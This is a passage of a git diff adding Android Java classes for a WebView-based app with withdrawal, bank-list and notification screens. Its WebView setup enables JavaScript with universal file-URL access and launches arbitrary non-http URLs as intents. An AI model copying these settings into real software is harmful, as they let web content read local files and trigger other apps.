webView.setHorizontalScrollbarOverlay(true); +// webView.setHorizontalScrollBarEnabled(true); +// webView.requestFocus(); +//// webView.setBackgroundColor(getColor(R.color.black)); +// settings.setJavaScriptCanOpenWindowsAutomatically(true); +// +// // 设置在WebView内部是否允许通过file url加载的 Js代码读取其他的本地文件 +// // Android 4.1前默认允许,4.1后默认禁止 +// settings.setAllowFileAccessFromFileURLs(true); +// // 设置WebView内部是否允许通过 file url 加载的 Javascript 可以访问其他的源(包括http、https等源) +// // Android 4.1前默认允许,4.1后默认禁止 +// settings.setAllowUniversalAccessFromFileURLs(true); +// +// +// webView.setWebChromeClient(webChromeClient); +// webView.setWebViewClient(webViewClient); +// Log.i("XHXDEBUG", "XHXDEBUGURL:::" + url); +// +//// new Handler().postDelayed(() -> showTopLy.setVisibility(View.GONE), 3000); +//// verifyStoragePermissions(this); +// +// webView.setDownloadListener(new DownloadListener() { +// @Override +// public void onDownloadStart(String url, String userAgent, String contentDisposition, String mimeType, long contentLength) { +// LogUtils.i("URL是啥onDownloadStart:" + url); +// +// try { +// Intent intent = new Intent(); +// intent.setAction(Intent.ACTION_VIEW); +// intent.setData(Uri.parse(url)); +// startActivity(intent); +// } catch (Exception e) { +// e.printStackTrace(); +// } +// +// } +// }); + getNetUrl(); + } + public void getNetUrl(){ +// Api.getInstance().geUrl(System.currentTimeMillis()) +// .subscribeOn(Schedulers.io()) +// .observeOn(AndroidSchedulers.mainThread()) +// .subscribe(new BaseObserver() { +// @Override +// public void onSuccess(Result o) { +// LogUtils.i("URL是啥获取的文件地址:"+o.url); +// if(!TextUtils.isEmpty(o.url)){ +// MainActivity.saveString(MainActivity3.this,"base_url",o.url); +// url = MainActivity.getString(MainActivity3.this, "base_url", url); +// toUrl(url); +// } +// } +// +// @Override +// public void onError(int code, String msg) { +// url = MainActivity.getString(MainActivity3.this, "base_url", url); +// toUrl(url); +// } +// }); + } + + private void toUrl(String url) { + mAgentWeb = AgentWeb.with(this) + .setAgentWebParent( webView, new LinearLayout.LayoutParams(-1, -1)) + .useDefaultIndicator() + .setWebViewClient(webViewClient) + .setWebChromeClient(webChromeClient) + .createAgentWeb() + + .ready() + .go(url); + + } + + + WebViewClient webViewClient = new WebViewClient() { + + @Override + public void onPageFinished(WebView webView, String s) { + super.onPageFinished(webView, s); + LogUtils.i("URL是啥加载完成:" + webView.getUrl()); + + int w = View.MeasureSpec.makeMeasureSpec(0, + View.MeasureSpec.UNSPECIFIED); + int h = View.MeasureSpec.makeMeasureSpec(0, + View.MeasureSpec.UNSPECIFIED); + // 重新测量 + webView.measure(w, h); + showTopLy.setVisibility(View.GONE); + + if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) { + isAtGame = false; + topVvvv.setVisibility(View.GONE); + + } else { + if (isAtGame) { + topVvvv.setVisibility(View.VISIBLE); + } else { + topVvvv.setVisibility(View.GONE); + + } + } + + } +// @Override +// public void onReceivedError(WebView view, WebResourceRequest request, WebResourceError error) { +// super.onReceivedError(view, request, error); +// if (android.os.Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { +// int errorCode = error.getErrorCode(); +// String errorMessage = error.getDescription().toString(); +// Log.i("CustomWebViewClient", "onReceivedError errorCode : " + errorCode + " errorMessage : " + errorMessage); +// } +// progressBar.setVisibility(View.GONE); +// } + + @Override + public void onReceivedError(WebView view, int errorCode, String description, String failingUrl) { + super.onReceivedError(view, errorCode, description, failingUrl); + if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) { + Log.i("CustomWebViewClient", "onReceivedError errorCode : " + errorCode + " description : " + description); + } + progressBar.setVisibility(View.GONE); + + } + +// @Override +// public boolean shouldOverrideUrlLoading(WebView webView, String s) { +// LogUtils.i("URL是啥:"+s); +// return super.shouldOverrideUrlLoading(webView, s); +// } + + @Override + public boolean shouldOverrideUrlLoading(WebView webView, String url1) { + + LogUtils.i("URL是啥:" + url1); + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + isAtGame = false; + topVvvv.setVisibility(View.GONE); + }else{ + progressBar.setVisibility(View.VISIBLE); + } + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return true; + } + + return true; + } + }; + + boolean isAtGame = false; + // String uuid = "", uuid1 = ""; + private static final int REQUEST_CODE_FILE_CHOOSER = 1; + private ValueCallback mUploadCallbackForLowApi; + private ValueCallback mUploadCallbackForHighApi; + WebChromeClient webChromeClient = new WebChromeClient() { +// @Override +// public boolean onCreateWindow(WebView webViewdd, boolean b, boolean b1, Message resultMsg) { +// LogUtils.i("URL是啥onCreateWindow:" + webViewdd.getUrl()); +// +// WebView newWebView = new WebView(MainActivity3.this); +// newWebView.setWebViewClient(new WebViewClient() { +// @Override +// public boolean shouldOverrideUrlLoading(WebView view, String url) { +// isAtGame = true; +// mAgentWeb.getUrlLoader().loadUrl(url); +// return true; +// } +// }); +// return true; +// } + + + @Override + public boolean onCreateWindow(WebView view, boolean isDialog, boolean isUserGesture, Message resultMsg) { + return super.onCreateWindow(view, isDialog, isUserGesture, resultMsg); + } + + @Override + public void onProgressChanged(WebView view, int newProgress) { + super.onProgressChanged(view, newProgress); + // 更新进度条的进度 + progressBar.setProgress(newProgress); + // 如果加载完成,隐藏进度条 + if (newProgress == 100) { + progressBar.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + } + + + }; + + + @RequiresApi(api = Build.VERSION_CODES.Q) + @Override + protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) { + super.onActivityResult(requestCode, resultCode, data); + switch (requestCode) { + case REQUEST_CODE_FILE_CHOOSER: + if (resultCode == RESULT_OK || resultCode == RESULT_CANCELED) { + afterFileChooseGoing(resultCode, data); + } + break; + + + } + } + + /** + * onActivityResult方法 + */ + + private void afterFileChooseGoing(int resultCode, Intent data) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + if (mUploadCallbackForHighApi == null) { + return; + } + mUploadCallbackForHighApi.onReceiveValue(WebChromeClient.FileChooserParams.parseResult(resultCode, data)); + mUploadCallbackForHighApi = null; + } else { + if (mUploadCallbackForLowApi == null) { + return; + } + Uri result = data == null ? null : data.getData(); + mUploadCallbackForLowApi.onReceiveValue(result); + mUploadCallbackForLowApi = null; + } + } + public class JavaScriptinterface { + Context context; + + public JavaScriptinterface(Context c) { + context = c; + } + + } + + @Override + public void onRequestPermissionsResult(int requestCode, + String permissions[], int[] grantResults) { + switch (requestCode) { + case REQUEST_EXTERNAL_STORAGE: + if (grantResults[0] == PackageManager.PERMISSION_GRANTED && grantResults[1] == PackageManager.PERMISSION_GRANTED) { + } + break; + default: + break; + } + super.onRequestPermissionsResult(requestCode, permissions, grantResults); + } + + /** + * 设置网页中图片的点击事件 + * + * @param view + */ + public static void setWebImageClick(WebView view, String method) { + + + } + + +// @Override +// public boolean onKeyDown(int keyCode, KeyEvent event) { +// +// if (keyCode == KeyEvent.KEYCODE_BACK) { +// +// if (webView.canGoBack()) { +// webView.goBack(); +// return true; +// } else { +// return super.onKeyDown(keyCode, event); +// +// } +// +// } +// return super.onKeyDown(keyCode, event); +// } + + + @Override + public void onDestroy() { + + if (webView != null) { + //加载null内容 +// webView.loadDataWithBaseURL(null, "", "text/html", "utf-8", null); +// //清除历史记录 +// webView.clearHistory(); + //移除WebView +// ((ViewGroup) webView.getParent()).removeView(webView); + //销毁VebView + mAgentWeb.destroy(); + } + super.onDestroy(); + } + + @Override + protected void onResume() { + super.onResume(); + + + } + + @Override + protected void onPause() { + super.onPause(); + + } + + + /** + * 获取状态栏高度 + * + * @return + */ + public int getStatusBarHeight() { + int result = 0; + //获取状态栏高度的资源id + int resourceId = getResources().getIdentifier("status_bar_height", "dimen", "android"); + if (resourceId > 0) { + result = getResources().getDimensionPixelSize(resourceId); + } + return result; + } + //wp-caption alignnone + + +} diff --git a/base_bk88/src/main/java/com/web/base/MessageInfo.java b/base_bk88/src/main/java/com/web/base/MessageInfo.java new file mode 100644 index 0000000..c6852f1 --- /dev/null +++ b/base_bk88/src/main/java/com/web/base/MessageInfo.java @@ -0,0 +1,96 @@ +package com.web.base; + +import java.io.Serializable; + +public class MessageInfo implements Serializable { + private String title; + private String content; + private String image = ""; + private int type; // 1:文字 2:图片 3:链接跳转 + private int pushId; + private String createTime; + private int recordId; + public int status; + private String jumpUrl; + private boolean isShowAll = false; + + public String getCreateTime() { + return createTime; + } + + public void setCreateTime(String createTime) { + this.createTime = createTime; + } + + public int getRecordId() { + return recordId; + } + + public void setRecordId(int recordId) { + this.recordId = recordId; + } + + public int getStatus() { + return status; + } + + public void setStatus(int status) { + this.status = status; + } + + public boolean isShowAll() { + return isShowAll; + } + + public void setShowAll(boolean showAll) { + isShowAll = showAll; + } + + public String getJumpUrl() { + return jumpUrl; + } + + public void setJumpUrl(String jumpUrl) { + this.jumpUrl = jumpUrl; + } + + public int getType() { + return type; + } + + public void setType(int type) { + this.type = type; + } + + public int getPushId() { + return pushId; + } + + public void setPushId(int pushId) { + this.pushId = pushId; + } + + public String getTitle() { + return title; + } + + public void setTitle(String title) { + this.title = title; + } + + public String getContent() { + return content; + } + + public void setContent(String content) { + this.content = content; + } + + public String getImage() { + return image; + } + + public void setImage(String image) { + this.image = image; + } +} diff --git a/base_bk88/src/main/java/com/web/base/MyBankListAdapter.java b/base_bk88/src/main/java/com/web/base/MyBankListAdapter.java new file mode 100644 index 0000000..de365ed --- /dev/null +++ b/base_bk88/src/main/java/com/web/base/MyBankListAdapter.java @@ -0,0 +1,74 @@ +package com.web.base; + +import android.view.LayoutInflater; +import android.view.View; +import android.view.ViewGroup; +import android.widget.TextView; + +import androidx.annotation.NonNull; +import androidx.recyclerview.widget.RecyclerView; + +import java.util.List; + + +public class MyBankListAdapter extends RecyclerView.Adapter { + + private List listdata; + private onItemClickPostionListener itemClickPostionListener; + + public MyBankListAdapter(List listdata) { + this.listdata = listdata; + } + + public void setListdata(List listdata) { + this.listdata = listdata; + notifyDataSetChanged(); + } + + + public void setOnItemClick(onItemClickPostionListener onItemClick) { + this.itemClickPostionListener = onItemClick; + } + + @NonNull + @Override + public ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) { + View view = LayoutInflater.from(parent.getContext()).inflate(R.layout.item_invite_records, parent, false); + return new ViewHolder(view); + } + + @Override + public void onBindViewHolder(@NonNull ViewHolder holder, int position) { + holder.getTextView().setText(listdata.get(position).getBankName()); + + holder.itemView.setOnClickListener(view -> { + if (itemClickPostionListener != null) { + itemClickPostionListener.item(position); + } + }); + } + + @Override + public int getItemCount() { + return listdata != null ? listdata.size() : 0; + } + + public static class ViewHolder extends RecyclerView.ViewHolder { + + private final TextView textView; + + public ViewHolder(@NonNull View itemView) { + super(itemView); + textView = itemView.findViewById(R.id.tv_invitecode); + } + + public TextView getTextView() { + return textView; + } + } + + public interface onItemClickPostionListener { + void item(int position); + } + +} diff --git a/base_bk88/src/main/java/com/web/base/MyListAdapter.java b/base_bk88/src/main/java/com/web/base/MyListAdapter.java new file mode 100644 index 0000000..f42b437 --- /dev/null +++ b/base_bk88/src/main/java/com/web/base/MyListAdapter.java @@ -0,0 +1,75 @@ +package com.web.base; + +import android.view.LayoutInflater; +import android.view.View; +import android.view.ViewGroup; +import android.widget.TextView; + +import androidx.annotation.NonNull; +import androidx.recyclerview.widget.RecyclerView; + +import java.util.List; + + +public class MyListAdapter extends RecyclerView.Adapter { + + + private List listdata; + private onItemClickPostionListener itemClickPostionListener; + + + public MyListAdapter(List listdata) { + this.listdata = listdata; + } + + public void setListdata(List listdata) { + this.listdata = listdata; + notifyDataSetChanged(); + } + + public void setOnItemClick(onItemClickPostionListener onItemClick) { + this.itemClickPostionListener = onItemClick; + } + + + + @NonNull + @Override + public ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) { + View view = LayoutInflater.from(parent.getContext()).inflate(R.layout.item_invite_records, parent, false); + return new ViewHolder(view); + } + + @Override + public void onBindViewHolder(@NonNull ViewHolder holder, int position) { + holder.getTextView().setText(listdata.get(position)); + holder.itemView.setOnClickListener(view -> { + if (itemClickPostionListener != null) { + itemClickPostionListener.item(position); + } + }); + } + + @Override + public int getItemCount() { + return listdata != null ? listdata.size() : 0; + } + + public static class ViewHolder extends RecyclerView.ViewHolder { + + private final TextView textView; + + public ViewHolder(@NonNull View itemView) { + super(itemView); + textView = itemView.findViewById(R.id.tv_invitecode); + } + + public TextView getTextView() { + return textView; + } + } + + public interface onItemClickPostionListener { + void item(int position); + } +} diff --git a/base_bk88/src/main/java/com/web/base/MyNotifyListAdapter.java b/base_bk88/src/main/java/com/web/base/MyNotifyListAdapter.java new file mode 100644 index 0000000..3d3cb0f --- /dev/null +++ b/base_bk88/src/main/java/com/web/base/MyNotifyListAdapter.java @@ -0,0 +1,179 @@ +package com.web.base; + +import android.content.Context; +import android.text.TextUtils; +import android.view.LayoutInflater; +import android.view.View; +import android.view.ViewGroup; +import android.widget.ImageView; +import android.widget.LinearLayout; +import android.widget.TextView; + +import androidx.annotation.NonNull; +import androidx.constraintlayout.widget.ConstraintLayout; +import androidx.recyclerview.widget.RecyclerView; + +import com.bumptech.glide.Glide; + +import java.security.Timestamp; +import java.text.ParseException; +import java.text.SimpleDateFormat; +import java.util.Date; +import java.util.List; + +/** + * 通知列表适配器 + */ +public class MyNotifyListAdapter extends RecyclerView.Adapter { + + private List listdata; + private onItemClickPostionListener itemClickPostionListener; + private Context context; + private MessageInfo messageItem; + + + public MyNotifyListAdapter(Context context, List listdata, MessageInfo messageItem) { + this.context = context; + this.listdata = listdata; + this.messageItem = messageItem; + } + + public void setListdata(List listdata) { + this.listdata = listdata; + notifyDataSetChanged(); + } + + + public void setOnItemClick(onItemClickPostionListener onItemClick) { + this.itemClickPostionListener = onItemClick; + } + + @NonNull + @Override + public ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) { + View view = LayoutInflater.from(parent.getContext()).inflate(R.layout.item_notify_list, parent, false); + return new ViewHolder(view); + } + + @Override + public void onBindViewHolder(@NonNull ViewHolder holder, int position) { + +// holder.itemView.setOnClickListener(view -> { +// if (itemClickPostionListener != null) { +// itemClickPostionListener.item(position); +// } +// }); + + MessageInfo messageInfo = listdata.get(position); + if (messageItem != null && messageInfo.getRecordId() == messageItem.getPushId()) { + messageInfo.setShowAll(true); + messageItem = null; + } + int type = messageInfo.getType(); + if (type == 1) { + holder.root.setBackgroundColor(context.getColor(R.color.notify_textcolor)); + holder.tvType.setText("Text"); + } + if (type == 2) { + holder.root.setBackgroundColor(context.getColor(R.color.notify_imagecolor)); + holder.tvType.setText("Image"); + } + if (type == 3) { + holder.root.setBackgroundColor(context.getColor(R.color.notify_jumplinkcolor)); + holder.tvType.setText("Jump link"); + } + holder.tvTitle.setText(messageInfo.getTitle()); + holder.layoutMore.setVisibility(View.GONE); + holder.tvContent.setText(messageInfo.getContent()); + holder.ivMsg.setVisibility(View.GONE); + holder.tvTime.setText(messageInfo.getCreateTime()); + holder.tvJumpLink.setVisibility(View.GONE); + + holder.lookIv.setText(longTime(messageInfo.getCreateTime())); + if (!TextUtils.isEmpty(messageInfo.getImage())) { + LogUtils.i("地址是啥:"+messageInfo.getImage()); + holder.ivMsg.setVisibility(View.VISIBLE); + Glide.with(context).load(messageInfo.getImage()).into(holder.ivMsg); + } + if (!TextUtils.isEmpty(messageInfo.getJumpUrl())) { + holder.tvJumpLink.setVisibility(View.VISIBLE); + holder.tvJumpLink.setText(messageInfo.getJumpUrl()); + holder.tvJumpLink.setOnClickListener(view -> { + if (itemClickPostionListener != null) { + itemClickPostionListener.item(position); + } + }); + } + if (messageInfo.isShowAll()) { + holder.ivNotifyPull.setBackgroundResource(R.mipmap.ic_notify_shangla); + holder.layoutMore.setVisibility(View.VISIBLE); + } else { + holder.ivNotifyPull.setBackgroundResource(R.mipmap.ic_notify_xiala); + holder.layoutMore.setVisibility(View.GONE); + } + holder.itemView.setOnClickListener(view -> { + messageInfo.setShowAll(!messageInfo.isShowAll()); + notifyItemChanged(position); + }); + + } + + public String longTime(String dateString){ + // 定义所需的日期格式 + SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + + try { + Long timeStr = dateFormat.parse(dateString).getTime(); + + String name = (((System.currentTimeMillis()-timeStr)/1000/60)+1000)+""; + + return name; + } catch (ParseException e) { + return "1000"; + } + + } + + + @Override + public int getItemCount() { + return listdata != null ? listdata.size() : 0; + } + + public static class ViewHolder extends RecyclerView.ViewHolder { + + + private final TextView tvType; + private final TextView tvTime; + private final TextView tvContent; + private final TextView tvTitle; + private final TextView tvJumpLink; + private final ImageView ivType; + private final ImageView ivNotifyPull; + private final ImageView ivMsg; + private ConstraintLayout root; + private LinearLayout layoutMore; + private TextView lookIv; + public ViewHolder(@NonNull View itemView) { + super(itemView); + root = itemView.findViewById(R.id.big_bg); +// tvType = itemView.findViewById(R.id.iv_readtype); + tvType = itemView.findViewById(R.id.tv_msg_type); + ivType = itemView.findViewById(R.id.iv_icon); + ivNotifyPull = itemView.findViewById(R.id.ic_notify_pull); + ivMsg = itemView.findViewById(R.id.iv_notifyimage); + tvContent = itemView.findViewById(R.id.iv_notifycontent); + tvTitle = itemView.findViewById(R.id.tv_msg_title); + tvTime = itemView.findViewById(R.id.tv_msg_time); + tvJumpLink = itemView.findViewById(R.id.iv_notifyjumpclick); + layoutMore = itemView.findViewById(R.id.layout_more); + lookIv = itemView.findViewById(R.id.look_iv); + } + + } + + public interface onItemClickPostionListener { + void item(int position); + } + +} diff --git a/base_bk88/src/main/java/com/web/base/MyWithDrwaListAdapter.java b/base_bk88/src/main/java/com/web/base/MyWithDrwaListAdapter.java new file mode 100644 index 0000000..adb5291 --- /dev/null +++ b/base_bk88/src/main/java/com/web/base/MyWithDrwaListAdapter.java @@ -0,0 +1,70 @@ +package com.web.base; + +import android.content.Context; +import android.view.LayoutInflater; +import android.view.View; +import android.view.ViewGroup; +import android.widget.TextView; + +import androidx.annotation.NonNull; +import androidx.recyclerview.widget.RecyclerView; + +import java.util.List; + + +/** + * 提现记录 + */ +public class MyWithDrwaListAdapter extends RecyclerView.Adapter { + + + private List listdata; + private Context context; + + public MyWithDrwaListAdapter(Context context, List listdata) { + this.context = context; + this.listdata = listdata; + } + + public void setListdata(List listdata) { + this.listdata = listdata; + notifyDataSetChanged(); + } + + + @NonNull + @Override + public ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) { + View view = LayoutInflater.from(parent.getContext()).inflate(R.layout.item_withdraw_records, parent, false); + return new ViewHolder(view); + } + + @Override + public void onBindViewHolder(@NonNull ViewHolder holder, int position) { + WithDrawListInfo.WithDrawInfo withDrawInfo = listdata.get(position); + holder.tvWithDrawName.setText(withDrawInfo.getName() + "(" + withDrawInfo.getBankName() + ")"); + holder.tvWithDrawAmount.setText(String.format(context.getString(R.string.app_withdraw_amount), withDrawInfo.getAmount())); + holder.tvWithDrawBalance.setText(String.format(context.getString(R.string.app_balance), withDrawInfo.getBalance())); + } + + @Override + public int getItemCount() { + return listdata != null ? listdata.size() : 0; + } + + public static class ViewHolder extends RecyclerView.ViewHolder { + + private TextView tvWithDrawName; + private TextView tvWithDrawAmount; + private TextView tvWithDrawBalance; + + public ViewHolder(@NonNull View itemView) { + super(itemView); + tvWithDrawName = itemView.findViewById(R.id.tv_withdrawname); + tvWithDrawAmount = itemView.findViewById(R.id.tv_withdrawamount); + tvWithDrawBalance = itemView.findViewById(R.id.tv_withdrawbalance); + } + + + } +} diff --git a/base_bk88/src/main/java/com/web/base/NotifyDetailsActivity.java b/base_bk88/src/main/java/com/web/base/NotifyDetailsActivity.java new file mode 100644 index 0000000..4583498 --- /dev/null +++ b/base_bk88/src/main/java/com/web/base/NotifyDetailsActivity.java @@ -0,0 +1,381 @@ +package com.web.base; + +import android.Manifest; +import android.annotation.SuppressLint; +import android.annotation.TargetApi; +import android.content.ActivityNotFoundException; +import android.content.Intent; +import android.net.Uri; +import android.os.Build; +import android.os.Bundle; +import android.os.Message; +import android.view.View; +import android.view.WindowManager; +import android.widget.ImageView; +import android.widget.LinearLayout; + +import androidx.annotation.Nullable; +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; +import androidx.core.app.ActivityCompat; +import androidx.core.content.ContextCompat; + +import com.bumptech.glide.Glide; +import com.tencent.smtt.export.external.interfaces.PermissionRequest; +import com.tencent.smtt.export.external.interfaces.WebResourceRequest; +import com.tencent.smtt.sdk.DownloadListener; +import com.tencent.smtt.sdk.ValueCallback; +import com.tencent.smtt.sdk.WebChromeClient; +import com.tencent.smtt.sdk.WebSettings; +import com.tencent.smtt.sdk.WebView; +import com.tencent.smtt.sdk.WebViewClient; + +import java.util.HashMap; + +import io.reactivex.android.schedulers.AndroidSchedulers; +import io.reactivex.schedulers.Schedulers; + +//通知详情 +public class NotifyDetailsActivity extends AppCompatActivity { + + + WebView webView; + private LinearLayout showTopLy; + private ImageView backIv; + private ImageView contentIv; + + public static String url = "https://vv88.io/"; + private static String[] PERMISSIONS_STORAGE = { + "android.permission.READ_EXTERNAL_STORAGE", + "android.permission.WRITE_EXTERNAL_STORAGE"}; + + private static String[] PERMISSIONS_CAMERA = { + Manifest.permission.CAMERA}; + + @Override + protected void onCreate(@Nullable Bundle savedInstanceState) { + getWindow().setNavigationBarColor(getColor(R.color.white)); + getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_notifydetails); + initView(); + MessageInfo messageInfo = (MessageInfo) getIntent().getSerializableExtra("message"); + if (messageInfo != null) { + recordNotify(messageInfo.getPushId()); + if (messageInfo.getType() == 3) { + webView.setVisibility(View.VISIBLE); + webView.loadUrl(messageInfo.getJumpUrl()); + } + if (messageInfo.getType() == 2) { + contentIv.setVisibility(View.VISIBLE); + Glide.with(NotifyDetailsActivity.this).load(messageInfo.getImage()).into(contentIv); + } + + + } + } + + public void recordNotify(int pushId) { + HashMap map = new HashMap<>(); + map.put("pushId", pushId); + Api.getInstance().totalNotify(map) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver() { + @Override + public void onSuccess(Result o) { + + + } + + @Override + public void onError(int code, String msg) { + + } + + @Override + public void onError2(Result o) { + + } + }); + } + + @SuppressLint({"NewApi", "WrongConstant"}) + protected void initView() { + webView = findViewById(R.id.webview); + showTopLy = findViewById(R.id.show_top_ly); + backIv = (ImageView) findViewById(R.id.back_iv); + contentIv = findViewById(R.id.image); + WebSettings settings = webView.getSettings(); + settings.setDomStorageEnabled(true); + settings.setAppCacheEnabled(true); + settings.setCacheMode(WebSettings.LOAD_DEFAULT); + settings.setJavaScriptEnabled(true); + settings.setLoadWithOverviewMode(true); + // 设置允许访问文件数据 + settings.setAllowFileAccess(true); + settings.setAllowContentAccess(true); + settings.setDatabaseEnabled(true); + settings.setSavePassword(false); + settings.setSaveFormData(false); + settings.setUseWideViewPort(true); + settings.setBuiltInZoomControls(true); + settings.setPluginState(WebSettings.PluginState.ON); + settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.NARROW_COLUMNS); + webView.setFocusable(true); + webView.setFocusableInTouchMode(true); + webView.getSettings().setSupportMultipleWindows(true); + + settings.setSupportZoom(true); + webView.setScrollBarStyle(WebView.SCROLLBARS_OUTSIDE_OVERLAY); +// webView.setHorizontalScrollbarOverlay(true); + webView.setHorizontalScrollBarEnabled(true); + webView.requestFocus(); +// webView.setBackgroundColor(getColor(R.color.black)); + settings.setJavaScriptCanOpenWindowsAutomatically(true); + settings.setMediaPlaybackRequiresUserGesture(false); + // 设置在WebView内部是否允许通过file url加载的 Js代码读取其他的本地文件 + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowFileAccessFromFileURLs(true); + // 设置WebView内部是否允许通过 file url 加载的 Javascript 可以访问其他的源(包括http、https等源) + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowUniversalAccessFromFileURLs(true); + + webView.setWebChromeClient(webChromeClient); + webView.setWebViewClient(new WebViewClient() { + + @Override + public void onPageFinished(WebView webView, String s) { + super.onPageFinished(webView, s); + showTopLy.setVisibility(View.GONE); + + } + + @Override + public boolean shouldOverrideUrlLoading(WebView webView, WebResourceRequest webResourceRequest) { + Uri uri; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + uri = webResourceRequest.getUrl(); + } else { + uri = Uri.parse(webResourceRequest.toString()); + } + String url1 = uri.toString(); + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return true; + } + + return false; + } + + @Override + public boolean shouldOverrideUrlLoading(WebView webView, String url1) { + LogUtils.i("URL是啥:" + url1); + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return true; + } + + return false; + } + }); + +// new Handler().postDelayed(() -> showTopLy.setVisibility(View.GONE), 3000); +// verifyStoragePermissions(this); + + webView.setDownloadListener(new DownloadListener() { + @Override + public void onDownloadStart(String url, String userAgent, String contentDisposition, String mimeType, long contentLength) { + LogUtils.i("URL是啥onDownloadStart:" + url); + + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url)); + startActivity(intent); + } catch (Exception e) { + e.printStackTrace(); + } + + } + }); + + backIv.setOnClickListener(view -> finish()); + + } + + private static final int REQUEST_CODE_FILE_CHOOSER = 1; + private ValueCallback mUploadCallbackForLowApi; + private ValueCallback mUploadCallbackForHighApi; + WebChromeClient webChromeClient = new WebChromeClient() { + @Override + public boolean onCreateWindow(WebView webViewdd, boolean b, boolean b1, Message resultMsg) { + LogUtils.i("URL是啥onCreateWindow:" + webView.getUrl()); +// WebView newWebView = new WebView(MainActivity2.this); + // topVvvv.setVisibility(View.VISIBLE); +// webView.addView(newWebView); +// WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; +// transport.setWebView(newWebView); +// resultMsg.sendToTarget(); +// +// newWebView.setWebViewClient(new WebViewClient() { +// @Override +// public boolean shouldOverrideUrlLoading(WebView view, String url) { +// isAtGame = true; +// webView.loadUrl(url); +// return false; +// } +// }); + + WebView newWebView = new WebView(webViewdd.getContext()); + newWebView.setWebViewClient(new WebViewClient() { + @Override + public boolean shouldOverrideUrlLoading(WebView view, String url) { + if (!(url.startsWith("http") || url.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + Intent browserIntent = new Intent(NotifyDetailsActivity.this, WebViewActivity.class); + browserIntent.putExtra("url", url); + startActivity(browserIntent); + return true; + } + + return false; + } + + + }); + WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; + transport.setWebView(newWebView); + resultMsg.sendToTarget(); + return true; + } + + @Override + public void onCloseWindow(WebView window) { + super.onCloseWindow(window); + } + + @Override + public void onProgressChanged(WebView view, int newProgress) { + super.onProgressChanged(view, newProgress); + // 更新进度条的进度 + + } + + + @TargetApi(Build.VERSION_CODES.LOLLIPOP) + @Override + public boolean onShowFileChooser(WebView webView, ValueCallback filePathCallback, FileChooserParams fileChooserParams) { + LogUtils.i("数据接口:onShowFileChooser"); + mUploadCallbackForHighApi = filePathCallback; + Intent intent = fileChooserParams.createIntent(); + intent.addCategory(Intent.CATEGORY_OPENABLE); + try { + startActivityForResult(intent, REQUEST_CODE_FILE_CHOOSER); + } catch (ActivityNotFoundException e) { +// mUploadCallbackForHighApi = null; +// WidgetUtils.showToast(JsBridgeActivity.this, "未知错误", WidgetUtils.ToastType.ERROR); + // Toast.makeText(MainActivity2.this, "未知错误", Toast.LENGTH_SHORT).show(); + startActivityForResult(Intent.createChooser(intent, "File chooser"), REQUEST_CODE_FILE_CHOOSER); + return true; + } + return true; + } + + // For 3.0+ + protected void openFileChooser(ValueCallback uploadMsg, String acceptType) { + LogUtils.i("数据接口:openFileChooseracceptType"); + + openFilerChooser(uploadMsg); + } + + + private void openFilerChooser(ValueCallback uploadMsg) { + LogUtils.i("数据接口:openFileChooser"); + + mUploadCallbackForLowApi = uploadMsg; + startActivityForResult(Intent.createChooser(getFilerChooserIntent(), "File Chooser"), REQUEST_CODE_FILE_CHOOSER); + } + + + private Intent getFilerChooserIntent() { + Intent intent = new Intent(Intent.ACTION_GET_CONTENT); + intent.addCategory(Intent.CATEGORY_OPENABLE); + return intent; + } + + + @Override + public void onPermissionRequest(PermissionRequest request) { + if 